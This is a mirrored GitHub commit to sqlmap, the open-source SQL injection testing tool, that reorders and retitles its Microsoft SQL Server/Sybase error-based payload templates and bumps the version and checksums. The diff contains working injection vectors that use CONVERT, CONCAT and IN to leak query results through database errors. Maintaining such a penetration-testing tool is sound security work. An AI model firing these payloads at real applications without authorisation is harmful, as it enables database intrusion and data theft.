Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 7f41684

Browse files
stamparmstamparm
committed
Minor revisit of MsSQL error-based payloads
1 parent 5b7254a commit 7f41684

3 files changed

Lines changed: 23 additions & 23 deletions

File tree

‎lib/core/settings.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from lib.core.revision import getRevisionNumber
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.0.10.17"
23+
VERSION = "1.0.10.18"
2424
REVISION = getRevisionNumber()
2525
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2626
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}

‎txt/checksum.md5‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ e60456db5380840a586654344003d4e6 lib/core/readlineng.py
4545
5ef56abb8671c2ca6ceecb208258e360 lib/core/replication.py
4646
99a2b496b9d5b546b335653ca801153f lib/core/revision.py
4747
7c15dd2777af4dac2c89cab6df17462e lib/core/session.py
48-
03d99f9c043a47cb17f5a7b1fe053422 lib/core/settings.py
48+
0537c742c135be19c8264e2e11f2ce6c lib/core/settings.py
4949
7af83e4f18cab6dff5e67840eb65be80 lib/core/shell.py
5050
23657cd7d924e3c6d225719865855827 lib/core/subprocessng.py
5151
c3ace7874a536d801f308cf1fd03df99 lib/core/target.py
@@ -449,7 +449,7 @@ fb93505ef0ab3b4a20900f3e5625260d xml/boundaries.xml
449449
535d625cff8418bdc086ab4e1bbf5135 xml/errors.xml
450450
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
451451
14a2abeb88b00ab489359d0dd7a3017f xml/payloads/boolean_blind.xml
452-
c136d8d2be59394e9221e2b732522d06 xml/payloads/error_based.xml
452+
a9fdde4fda738a678ad2fa9fb718e833 xml/payloads/error_based.xml
453453
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
454454
3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml
455455
c2d8dd03db5a663e79eabb4495dd0723 xml/payloads/time_blind.xml

‎xml/payloads/error_based.xml‎

Lines changed: 20 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -388,15 +388,15 @@
388388
</test>
389389

390390
<test>
391-
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause</title>
391+
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title>
392392
<stype>2</stype>
393393
<level>1</level>
394394
<risk>1</risk>
395395
<clause>1,9</clause>
396396
<where>1</where>
397-
<vector>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
397+
<vector>AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
398398
<request>
399-
<payload>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
399+
<payload>AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
400400
</request>
401401
<response>
402402
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -409,15 +409,15 @@
409409
</test>
410410

411411
<test>
412-
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause</title>
412+
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)</title>
413413
<stype>2</stype>
414-
<level>1</level>
414+
<level>2</level>
415415
<risk>3</risk>
416416
<clause>1,9</clause>
417417
<where>2</where>
418-
<vector>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
418+
<vector>OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
419419
<request>
420-
<payload>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
420+
<payload>OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
421421
</request>
422422
<response>
423423
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -430,15 +430,15 @@
430430
</test>
431431

432432
<test>
433-
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)</title>
433+
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)</title>
434434
<stype>2</stype>
435435
<level>2</level>
436436
<risk>1</risk>
437437
<clause>1,9</clause>
438438
<where>1</where>
439-
<vector>AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
439+
<vector>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
440440
<request>
441-
<payload>AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
441+
<payload>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
442442
</request>
443443
<response>
444444
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -451,15 +451,15 @@
451451
</test>
452452

453453
<test>
454-
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)</title>
454+
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)</title>
455455
<stype>2</stype>
456456
<level>3</level>
457457
<risk>3</risk>
458458
<clause>1,9</clause>
459459
<where>2</where>
460-
<vector>OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
460+
<vector>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
461461
<request>
462-
<payload>OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
462+
<payload>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
463463
</request>
464464
<response>
465465
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -472,15 +472,15 @@
472472
</test>
473473

474474
<test>
475-
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title>
475+
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)</title>
476476
<stype>2</stype>
477477
<level>2</level>
478478
<risk>1</risk>
479479
<clause>1,9</clause>
480480
<where>1</where>
481-
<vector>AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
481+
<vector>AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
482482
<request>
483-
<payload>AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
483+
<payload>AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
484484
</request>
485485
<response>
486486
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -493,15 +493,15 @@
493493
</test>
494494

495495
<test>
496-
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)</title>
496+
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)</title>
497497
<stype>2</stype>
498-
<level>2</level>
498+
<level>3</level>
499499
<risk>3</risk>
500500
<clause>1,9</clause>
501501
<where>2</where>
502-
<vector>OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
502+
<vector>OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
503503
<request>
504-
<payload>OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
504+
<payload>OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
505505
</request>
506506
<response>
507507
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

0 commit comments

Comments
 (0)